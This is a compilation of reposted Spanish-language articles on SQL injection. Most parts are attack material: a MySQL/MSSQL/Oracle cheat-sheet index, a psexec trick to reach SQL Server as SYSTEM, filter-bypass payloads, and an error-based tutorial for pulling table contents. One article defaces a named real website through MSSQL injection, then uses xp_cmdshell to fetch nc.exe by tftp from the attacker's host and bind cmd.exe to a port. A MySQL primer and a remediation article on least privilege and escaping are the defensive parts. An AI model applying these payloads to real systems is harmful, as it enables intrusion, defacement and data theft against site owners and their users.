Guía muy completa para inyecciones SQL

Roberto Salgado (@LightOS) publicó hace tiempo una guía muy completa para inyecciones SQL. Cubre MySQL, MSSQL y ORACLE.

Su contenido es el siguiente:

MySQL
Default Databases
Testing Injection
Comment Out Query
Testing Version
Database Credentials
Database Names
Server Hostname
Tables and Columns
Avoiding quotations
String concatenation
Conditional Statements
Timing
Privileges
Reading Files
Writing Files
Out of band channeling
Stacked Queries with PDO
MySQL-specific code
Fuzzing and Obfuscation
Operators
Constants
Password Hashing
Password Cracker

MSSQL
Default Databases
Comment Out Query
Testing Version
Database Credentials
Database Names
Server Hostname
Tables and Columns
Avoiding quotations
String concatenation
Conditional Statements
Timing
OPENROWSET Attacks
System Command Execution
SP_PASSWORD (Hiding Query)
Stacked Queries
Fuzzing and Obfuscation
Password Hashing
Password Cracker

ORACLE
Default Databases
Comment Out Query
Testing Version
Database Credentials
Database Names
Server Hostname
Tables and Columns
Avoiding Quotations
String concatenation
Conditional Statements
Timing
Privileges
Out Of Band Channeling

Fuente: http://underc0de.org/foro/index.php?topic=14580.0

Cómo eludir la autenticación de Microsoft SQL Server en un servidor ya comprometido (post-explotación)

Durante una post-explotación, pudiera darse el caso en el que te encuentres con un entorno donde lo administradores de una máquina, incluso administradores de dominio, no tienen derechos de autenticación en una base de datos Microsoft SQL Server.

Ante esto, podrías dedicarle tiempo a intentar determinar que grupos o cuentas tenían acceso y añadir un nuevo usuario o suplantar uno existente. O incluso buscar las credenciales en claro en algún script en algún recurso compartido.

Pero si realmente quieres ahorrar tiempo existe un método para SQL Server 2008 R2 y anteriores que te permitirá acceso total a la base de datos instantáneamente, mediante la cuenta NT-AUTHORITY\SYSTEM:

1. Descarga el binario psexec.exe en el servidor.
2. Inicia una consola con privilegios (botón derecho en el acceso directo y ejecutar como administrador).
3. Ejecuta psexec con la siguiente opción:

psexec -s -I “C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe”
 
(La -s significa arrancar como SYSTEM y -l iniciará la aplicación de forma interactiva)

 

 

http://www.hackplayers.com

Introducción a MySQL

// © 2010 Blackubay
Justificación:
Este pequeño tutorial, tiene como finalidad introducir a todos aquellos usuarios, que quieran iniciarce en este mundo del SQL, pero que no tienen ni idea por donde empezar.

Recursos:
Por ahora solamente necesitamos instalar MySQL.

Regresando de mis dos semanas de vacaciones :D

Bueno, ya salí del colegio y decidí tomarme unas vacaciones :D, pero ya estoy de vuelta con más fuerza, con más flow y con todos los hierros jeje.

Para comenzar, escuchemos una poco de buena "musica" imposible olvidarnos del rey bruce :D

Excelente, ahora que tenemos la inspiración necesaria, vamos a aprender un poco de mysql y a manipularla desde php.

Comencemos con conectarnos al servidor mysql desde la consola, para esto abrimos nuestra terminal, bien sea "cmd" o "bash", y tecleamos la siguiente linea

mysql -h localhost -u root -p

Veamos, con el comando mysql invocamos el servidor mysql, con la opción -h indicamos que a seguir se especifica el nombre del servidor, en este ejemplo es localhost, con la opción meno -u señalamos el nombre del usuario, en nuestro caso "root", y por ultimo la opción -p con la cual obligamos al servidor a realizar la autentificación de nuestro usuario.

Una vez hecho esto, el sistema nos arroja este mensaje de entrada.

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 34
Server version: 5.0.51a-24+lenny4 (Debian)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

El promp "mysql>" nos indica que el servidor está preparado para ejecutar las ordenes SQL que ingresemos, ahora que estamos conectados al serviodor, estamos preparados para entrar en la candela.

Ahora crearemos una base de datos propia :D, pero antes debemos averiguar que bases de datos existen, para no repetir los nombres, para eso tenemos la sentencia "SHOW DATABASES".

mysql> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
+--------------------+
2 rows in set (0.00 sec)

Nota:
no debemos olvidar utilizar punto y coma ";" al finalizar una sentencia o una consulta.

Muy bien, ahora, crearemos nuestra BD(base de datos), en mi caso particular llevara por nombre azzurri (Amo il calcio... :$), bien, para crear nuestra DB utilizamos la sentencia
"CREATE DATABASE", inmediatamente despues escribimos el nombre que llavará nuestra DB

mysql> create database azzurri;
Query OK, 1 row affected (0.01 sec)

Bueno ya la creamos, ahora, verifiquemos que está todo en orden con nuestro amigo "SHOW DATABASES".

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| azzurri            |
| mysql              |
+--------------------+
3 rows in set (0.00 sec)

Excelente, ya vemos que si está :D, vamos por buen camino, ahora crearemos una tabla e insertaremos datos, para manipularlos desde php.

Para crear una tabla dentro de la base de datos debemos situarnos en ella, para eso escribimos "USE" seguido del nombre de la base de datos, y posteriormente podremos crear las tablas.

mysql> use azzurri;
Database changed

Ya estamos en la base de datos, ahora procedemos a crear la tabla, pero antes echen un vistazo a esta pagina, donde publican información muy detallada sobre los "tipos de datos SQL", pero ,¿porque es tan importante conocer los tipos de datos?, muy simple, a la hora de crear tablas, se deben especificar los tipos de datos que van a contener las columnas.

Nota:
Doy por entendido que el lector posee conocimientos sobre los tipos de datos en mysql.

Para crear una tabla se utiliza la sentencia "CREATE TABLE", la tabla de llamara equipo, y tendrá 3 columnas, para almacenar información, y 1 columna que identifique de manera inequívoca a cada jugdor que sera el id, las columnas para almacenar información se llamaran, jugador, posicion y numero.

la columna jugador sera del tipo char, porque almacenara texto al igual que la columna posicion, y la columna numero sera del tipo tinyint, porque almacenara enteros pequeños, ahora si manos a la ubre :D

mysql> create table equipo (id tinyint not null auto_increment, jugador char(25), posicion char(20), numero tinyint, primary key(id));

Ya creamos nuestra tabla, ahora, verifiquemos, utilizando "SHOW TABLES".

mysql> show tables;
+-------------------+
| Tables_in_azzurri |
+-------------------+
| equipo            |
+-------------------+
1 row in set (0.00 sec)

Si, allí esta nuestra tabla, ahora vamos a insertar datos a nuestra tabla, utilizando la sentencia "INSERT".

mysql> insert into equipo (jugador, posicion, numero) values ('Gianluigi BUFFON', 'GK', 1);

Como podemos ver, bien, hasta ahora nada complicado, "insert into equipo" dictamos que haremos una inserción de datos en la tabla equipo "(jugador, posicion, numero)" especificamos, las columnas de la tabla equipo a las cuales le insertaremos los datos, "values ('Gianluigi BUFFON', 'GK', 1)" son los datos que insertaremos, en el mismo orden en el que especificamos las columnas, es decir, "Gianluigi BUFFON", lo insertaremos en la columna "jugador", y asi sucesivamente.

Ahora, vamos a verificar que todo salió bien, realizando una pequeña consulta, donde seleccionaremos todos los datos de la tabla, utilizando la sentencia "SELECT".

mysql> select * from equipo;
+----+------------------+----------+--------+
| id | jugador          | posicion | numero |
+----+------------------+----------+--------+
|  1 | Gianluigi BUFFON | GK       |      1 |
+----+------------------+----------+--------+
1 row in set (0.02 sec)

Excelente, ahora del mismo modo, vamos a insertar unos 20 o 30 datos mas, para que nuestro trabajo sea un poco mas interesante y divertido :D, recuerden que estos datos los manipularemos desde php, acá les dejo, para que me sigan :D

insert into equipo (jugador, posicion, numero) values ('Fabio CANNAVARO', 'DF', 5),('Daniele DE ROSSI', 'MF', 6),('Simone PEPE', 'MF', 7),('Gennaro GATTUSO', 'MF', 8),('Vincenzo IAQUINTA', 'FW', 9),('Antonio DI NATALE', 'FW', 10),('Alberto GILARDINO', 'FW', 11),('Federico MARCHETTI', 'GK', 12),('Mauro CAMORANESI', 'MF', 16),('Gianluca ZAMBROTTA', 'DF', 19),('Andrea PIRLO', 'MF', 21),('Riccardo MONTOLIVO', 'MF', 22);

Ahora que ya tenemos toda la seleccion azzurri y unos de banca, pues vamos a consultar nuestra tabla a ver como quedo de bonita :D

mysql> select * from equipo;
+----+--------------------+----------+--------+
| id | jugador            | posicion | numero |
+----+--------------------+----------+--------+
|  1 | Gianluigi BUFFON   | GK       |      1 |
|  2 | Fabio CANNAVARO    | DF       |      5 |
|  3 | Daniele DE ROSSI   | MF       |      6 |
|  4 | Simone PEPE        | MF       |      7 |
|  5 | Gennaro GATTUSO    | MF       |      8 |
|  6 | Vincenzo IAQUINTA  | FW       |      9 |
|  7 | Antonio DI NATALE  | FW       |     10 |
|  8 | Alberto GILARDINO  | FW       |     11 |
|  9 | Federico MARCHETTI | GK       |     12 |
| 10 | Mauro CAMORANESI   | MF       |     16 |
| 11 | Gianluca ZAMBROTTA | DF       |     19 |
| 12 | Andrea PIRLO       | MF       |     21 |
| 13 | Riccardo MONTOLIVO | MF       |     22 |
+----+--------------------+----------+--------+
13 rows in set (0.00 sec)

Mortal, :D(ahora solo me queda ver el trbajo del nuevo DT Cesare prandeli, limpie el nuestra fama, gracias por la copa lippi, espero te valla de maravillas :D ), ahora que ya tenemos una tabla decente, que les parece si practicamos un poco con el "SELECT", primero vamos a seleccionar solamente 2 columnas.

mysql> select jugador,posicion from equipo;
+--------------------+----------+
| jugador            | posicion |
+--------------------+----------+
| Gianluigi BUFFON   | GK       |
| Fabio CANNAVARO    | DF       |
| Daniele DE ROSSI   | MF       |
| Simone PEPE        | MF       |
| Gennaro GATTUSO    | MF       |
| Vincenzo IAQUINTA  | FW       |
| Antonio DI NATALE  | FW       |
| Alberto GILARDINO  | FW       |
| Federico MARCHETTI | GK       |
| Mauro CAMORANESI   | MF       |
| Gianluca ZAMBROTTA | DF       |
| Andrea PIRLO       | MF       |
| Riccardo MONTOLIVO | MF       |
+--------------------+----------+
13 rows in set (0.00 sec)

Ok, vamos a analizar un poco esta consulta, "select jugador,posicion" seleccionamos las columnas "jugador,posicion", de la tabla equipo, para especificar que tabla vamos a trabajar, llamamos a nuestro amigo "from" de esta manera "from equipo", ufff, veo que lo agarran rápido, pero que mas podemos hacer?, que les parece si solo seleccionamos jugadores que tengan la posicion GK, con esas dos columnas.

mysql> select jugador,posicion from equipo where posicion='GK';
+--------------------+----------+
| jugador            | posicion |
+--------------------+----------+
| Gianluigi BUFFON   | GK       |
| Federico MARCHETTI | GK       |
+--------------------+----------+

Exelente, podemos apreciar que a nuestra consulta anterior solo le agregamos "where posicion='GK'", este pedacito, indica que solo se van a seleccionar los registros que cumplan con esa condicion, ahora que tal si ordenamos de manera descentende esos registros.

mysql> select jugador,posicion from equipo where posicion='GK' order by id desc;
+--------------------+----------+
| jugador            | posicion |
+--------------------+----------+
| Federico MARCHETTI | GK       |
| Gianluigi BUFFON   | GK       |
+--------------------+----------+

Recordemos que el id, es el número identificacion que le asignamos a cada jugador.

Muy bien, ahora, tan solo nos queda, modificar y eliminar registros, para modificar registros, se utiliza la sentencia "UPDATE", vamos cambiar el nombre del jugador con el id Nº 12 por PIRLO solamente.

mysql> update equipo set  jugador='PIRLO' where id=12;
Query OK, 1 row affected (0.03 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Perfecto, ahora consultemos la tabla a ver que tal.

mysql> select * from equipo;
+----+--------------------+----------+--------+
| id | jugador            | posicion | numero |
+----+--------------------+----------+--------+
|  1 | Gianluigi BUFFON   | GK       |      1 |
|  2 | Fabio CANNAVARO    | DF       |      5 |
|  3 | Daniele DE ROSSI   | MF       |      6 |
|  4 | Simone PEPE        | MF       |      7 |
|  5 | Gennaro GATTUSO    | MF       |      8 |
|  6 | Vincenzo IAQUINTA  | FW       |      9 |
|  7 | Antonio DI NATALE  | FW       |     10 |
|  8 | Alberto GILARDINO  | FW       |     11 |
|  9 | Federico MARCHETTI | GK       |     12 |
| 10 | Mauro CAMORANESI   | MF       |     16 |
| 11 | Gianluca ZAMBROTTA | DF       |     19 |
| 12 | PIRLO              | MF       |     21 |--->Exelente!
| 13 | Riccardo MONTOLIVO | MF       |     22 |
+----+--------------------+----------+--------+
13 rows in set (0.00 sec)

Ya casi llegamos al final de esta pequeña introduccion al SQL, pero no sin antes, eliminar nuestras huellas!, primero borraremos, un registro de la tabla, luego la tabla y por ultimo la base de datos (Es dificil borrar a alguno de esa tabla :D todos son mis favoritos!), bueno primero borraremos de nuestra lista a "Federico MARCHETTI", para eso utilizaremos la sentencia "DELETE".

mysql> delete from equipo where id=9;

Creo que bastante sencillo, "delete from equipo" borramos la tabla equipo, donde id sea igual a 9 -> "where id=9".

mysql> select * from equipo;
+----+--------------------+----------+--------+
| id | jugador            | posicion | numero |
+----+--------------------+----------+--------+
|  1 | Gianluigi BUFFON   | GK       |      1 |
|  2 | Fabio CANNAVARO    | DF       |      5 |
|  3 | Daniele DE ROSSI   | MF       |      6 |
|  4 | Simone PEPE        | MF       |      7 |
|  5 | Gennaro GATTUSO    | MF       |      8 |
|  6 | Vincenzo IAQUINTA  | FW       |      9 |
|  7 | Antonio DI NATALE  | FW       |     10 |
|  8 | Alberto GILARDINO  | FW       |     11 | --del 8
| 10 | Mauro CAMORANESI   | MF       |     16 | --salta al 10, excelente!
| 11 | Gianluca ZAMBROTTA | DF       |     19 |
| 12 | PIRLO              | MF       |     21 |
| 13 | Riccardo MONTOLIVO | MF       |     22 |
+----+--------------------+----------+--------+
12 rows in set (0.00 sec)

Ahora borramos la tabla, pero para borrar una tabla no se nos sirve delete, para eso utilizamos "DROP TABLE".

mysql> drop table equipo;

Ya borramos, ahora, comprobamos con nuestro viejo amigo "SHOW TABLES".

mysql> show tables;
Empty set (0.00 sec)

Eso!, no existe la tabla, ahora la base de datos, para eso utilizamos "DROP DATABASE".

mysql> drop database azzurri;
Query OK, 0 rows affected (0.01 sec)

Bacano, a comprobar si en verdad la borro, esto siempre lo acostumbro, porque soy medio miope o_O nunca esta de más corroborar, y mas cuando hacemos algo con urgencia
Nuevamente le hablamos a nuestro compadre "SHOW DATABASES".

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
+--------------------+
2 rows in set (0.00 sec)

Listo, termino nuestra clase, seguro se preguntaran que paso con el php!!, nada, ahora ya tienen las bases y las referencias para investigar y poner en practica lo acá expuesto, y en una proxima entrega nos la curramos con el PHP.

Saludos.

ATT:
Blackubay

rulando sqlmap (remediando los problemas)

Continuación de "rulando sqlmap".

El problemón de poder acceder al directorio de passwords del servidor Linux o poder ver todos los usuarios mysql dados de alta es más jodido porque la inyección se ejecuta con permisos root que por la propia inyección.

Primero hay que dar los permisos adecuados a tu aplicación web para que ataque contra su propia base de datos y no tenga acceso al restos de bases de datos (como por ejemplo information_schema, MySQL u otras).

Por tanto, lo que haremos es crear un usuario especifico para la aplicación PHP y que sólo puede hacer consultas desde la propia localhost. Creamos un usuario “userdb_midb" con contraseña "123psw_midb_456":

mysql> GRANT select ON midb.* TO 'userdb_midb'@'localhost' identified
by '123psw_midb_456';
mysql> FLUSH PRIVILEGES;

Otra recomendación importante es cambiar la contraseña que tiene el usuario root por defecto. No confundir el usuario root del mysql con el usuario root de Linux. Son usuarios, pero en contextos diferentes.

# mysqladmin -u root password "un_buen_password_para_root"

Ahora ya estamas listo para comenzar a programar tú aplicación web. Notar que los privilegios que hemos metido en la base de datos "midb" es solo para hacer consultas con SELECT. Si la aplicación PHP necesitara operaciones de DML (no operaciones DDL), lógicamente tendríamos que cambiar los permisos de tú mysql, pero siempre dando los mínimos que necesitemos:

mysql> GRANT select, insert, delete, update ON midb.* TO 'userdb_midb'@'localhost'
identified by '123psw_midb_456';
mysql> FLUSH PRIVILEGES;

Comenzamos ahora a evitar las injecciones SQL. Hay mucha información por Internet sobre que son y como evitarlas así que no me extenderé. Si hablamos de aplicaciones web (PHP, ASP, python...), básicamente se trata de validaciones incorrectas de las variables que llegan al servidor ya sea por el método POST, GET, cookies, etc.

Lo que hay que tener claro es que no solo hay inyecciones de SQL, los hay de muchas cosas. Tenemos las inyecciones de xpath, las inyecciones de ldap, las inyecciones nulas... sea lo que sea, son provocadas por la mala validación de los datos de entrada. Como solo somos programadores web y no somos hackers pues tenemos que saber que existen y programar un poquito más para filtrar los datos que nos llegan.

La primera medida anti-sql-injection es modificar el php.ini con:

magic_quotes_gpc=On

Esta opción lo que hace escapar automáticamente todos los caracteres peligros. Estos caracteres que se consideran peligrosos con la comilla simple, la doble, la barra invertida y el NULL. Es importante saber que esta propiedad desaparece en PHP v6. En su lugar hay que escarpar los datos en tiempo de ejecución con la función addslashes().
Las magic_quotes son una primera medida de seguridad con PHP pero son evitables a cuanto inyección de SQL se refiere en algunos casos muy concretos según la base de datos que tengamos funcionando.

Por ejemplo un caso real (level 7 de Blindsec). Tenemos esta validación de usuario bajo un SQLlite:

$sql= 'SELECT * FROM users WHERE login="$login" and password="$psw" ';

Si ponemos como $login=admin e inyectamos el $psw=" or ROWID=1 --, tendremos el siguiente resultado:

SELECT * FROM users WHERE login="admin" and password="\" or ROWID=1 --"

De forma que siempre nos devolverá la fila=1. Este es un caso muy concreto y posible gracias a SQLlite.

Otras maneras que tenemos es convertir la clásica inyección ' or ''=' en:

%2527 or %2527%2527=%2527

También funciona:

%2527%20or%20%2527%2527=%2527

Si por defecto no tenemos las magic quotes activadas lo mejor es utilizar addslashes(). Según PHP v6 es lo que tendremos que utilizar y además mejora el rendimiento en vez de aplicar magic quotes en todos los valores. El problema es ir con cuidado de que no se nos escape ninguna variable sin aplicar addslashes(). Lo contrario de un addslashes() es un stripslashes().

También existe otra función para escapar los datos antes de construir la consulta SQL. Esta es mysql_real_escape_string() y es la que recomienda PHP.

mysql_real_escape_string($login);
mysql_real_escape_string($password);

He visto también que hay gente que escapea doblemente:

addcslashes(mysql_real_escape_string($login),'%_'));

Personalmente creo que lo mejor es crearte tú propia función para escapar o satanizar tus entradas:

   function sanitize($x, $quotes = true) {
     if (is_array($x))  
        foreach ($x as &$y)
           $y = sanitize($y);

     else if (is_string($x)) {
         $x = mysql_real_escape_string($x);
         if ($quotes)
            $x = "'". $x ."'";

       else if (is_null($x))
          $x = "NULL";

       else if (is_bool($x))
          $x = ($x) ? 1 : 0;

       return $x;
   }

Más cosas que he visto. Para los paranoicos totales, se podría modificar esta función para eliminar palabras prohibidas como "select", "insert", "password", etc. Aunque esto es fácilmente petable. Basta con poner "seLect", "inSert", o "pAssword". Otras modificaciones que podemos hacer es limitar la longitud de los datos que nos llegan. No a nivel de HTML o JavaScript, sino en el propio codigo de PHP. De esta forma si nuestro password es de longitud máxima de 10 caracteres será casi imposible inyectar con éxito un código de SQL.

Como he dicho antes, la inyección de SQL es muy amplia y no solo se aplica en las aplicaciones web en .php, .asp, .aspx, .py, sino también en cualquier servicio Web como puede ser SOAP.
Por ejemplo, imaginaros que tengo una aplicación que lee datos referentes al clima a través de llamadas SOAP a http://www.weather.gov/xml/. Teóricamente podemos pensar que www.weather.gov es una web confiable y que no nos inyectará código, ¿no?. Pero que pasaría si en vez de devolvernos la temperatura que hace en Barcelona capital, nos devuelve una inyección…. Malo malo.

Mas información:
+ SQL Injection cheat sheet
+ Securizar tú mysql para tus webs
+ PHP Filters

FUENTE:http://amperis.blogspot.com/2008/11/rulando-sqlmap-remediando-los-problemas.html

Como hackear 6 (sql injection y defaces)

Un articulo muy interezante que encontre , al final dejo el link saludos

//////////////////////////////////////////////////////////////////////////////////////

Bien, hacia tiempo que no sacaba una nueva entrega del curso…siento el retraso..

ia sabeis k a mi los problemas personales me llueven…pero sobrevivo…en fin

se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado webs tan importantes como la del govierno de mi pais etc…

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:

update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2′–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe –l –p 8000 –e cmd.exe’ –-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los principiantes, lo prometo.

FUENTE:http://allabouthack.wordpress.com/2007/11/01/como-hackear-6-sql-injection-y-defaces/

Inyeccion SQL desde 0

Me encontre este tutorial muy bueno espero que lo disfruten:

Wenas.
aqui explicare a iniciarse en las inyecciones SQL a través de variables de tipo GET. La idea me ha surgido al empezar a introducir a Plaga al divertido mundo de las vulnerabilidades.

Tras leerse y aprender lo que se va a exponer en este pequeño tutorial/manual podreis manejaros un poco más en el uso de las SQL Injection, una vulnerabilidad que cada día se extiende más. Nosotros nos vamos a basar en usar el método de ir probando y obteniendo errores, de los cuales sacaremos información jugosa.

Primeros pasos:sacando la tabla

Bien, para empezar necesitamos encontrar alguna web que potencialmente pudiera (no lo sabemos todavía) tener algún script del tipo “noticias.asp?ID=”, “artículos.php?view=” vulnerable.
———————————————————————————————–
Consejo:es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado.
————————————————————————————————

La inyección la introducimos en variables de tipo GET. ¿Qué son estas variables? Resumiendo muy mucho,,podemos decir que son aquellas variables que se introducen a través de la URL.
Vamos a utilizar un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo “www.paginafals a.com/index.asp?profile=47″. Para comprobar si es vulnerable comenzamos por poner’. Con ‘ indicamos la finalización de una sentencia SQL. Nuestro código malicioso será ‘ having 1=1–. El “–” sirve para que sean ignoradas todas las sentecias que venga detrás, equivale al “#” en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debería de “vomitar” la web un error del estilo de:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien no os alarmais, de aquí lo único que nos interesa es Datos.Id. “Datos” es el nombre de la tabla en la que estamos operando, y “Id” es el nombre del campo. Sería aconsejable hechar un pequeño vistazo a algún manual de manejo de DBs para comprender su estructura. En estos campos será donde se encuentre contenida la información que maneja la DB de la web que estamos “atacando”. Ahora imprescindible agarrar el notepad y ponen “NOMBRE TABLA: Datos” y despues en otra línea “Campos: 1º Id”.

Le ponesmos “1º” porque los campos se encuentran ordenados dentro de la DB y éste orden es imprescindible a la hora de construir las sentencias.

Sacando los campos de la tabla

Ahora si recopilamos la información que deberíamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. ¿Para qué? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarán basarse en la info que vayamos obteniendo, a parte, el nombre de los campos nos darán una pista sobre donde puede haber la información que andamos buscando (una tabla que se llame passwords, tiene un altísimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo lo tienes servido).

Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyección:

‘ GROUP BY Datos.Id having 1=1–

¿y qué es lo que nos vomita la web?

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.clientes’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, ya tenemos el 2º campo: “clientes”. Pero, ¿como seguimos extrayendo información? Añadiendo mediante una “,” el nuevo campo descubierto, así la inyección nos dará el siguiente campo, quedando algo así:

‘ GROUP BY Datos.Id,clientes having 1=1–

Y ahora nos devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.correo’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, lo mismo de antes, pero con el tercer campo, “correo”. No hace falta deciros que toda esta info de los campos debe de ser guardada en nuestro notepad.

Ahora, tenemos que ir poniendo la misma inyección, únicamente con la adición de una nueva “,” y del campo qeu descubrimos hasta que nos salga algo tipo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna ‘Datos’ no coincide con un nombre de tabla o con un alias usado en la consulta.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Esto es el indicativo de que ya no hay más campos, por lo tanto ya sabemos que: la tabla se llama “Datos”, tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les comenté al inicio del tutorial, vamos a trabajar con los campos clientes y correo.

Mostrando el contenido de los campos

Ya tenemos los campos que nos hacían falta y que contiene la informacion que andabamos buscando, pero ahora nos hace falta “ver” esa información. Ahora es cuando entra en juego el uso de sentencias ‘ UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo número de campos que tiene la tabla, para ello usaremos “1″.

Lo que haremos será primero encontrar un valor en el campo “clientes” y después encontrar su correo correspondient e. Para ello nos deberemos de basar en la ingeriniería social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyección de esta forma:

‘ UNION SELECT MIN(Campo),1,1,1/* tantos “1″ como campos */ FROM Tabla WHERE campo > ‘j’–

Con esto nos devolverá el primer nombre que empiece por “j”. El error que nos devuelve el contenido es devido a que la variable está cofigurada como de tipo “varchar” y al ser una letra con lo que operamos, la función “min()” sufre un error de sintaxis. Mi inyeccion es esta:

‘ UNION SELECT MIN(clientes),1,1 FROM Datos WHERE cleintes > ‘j’–

Y me devuelve la web:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

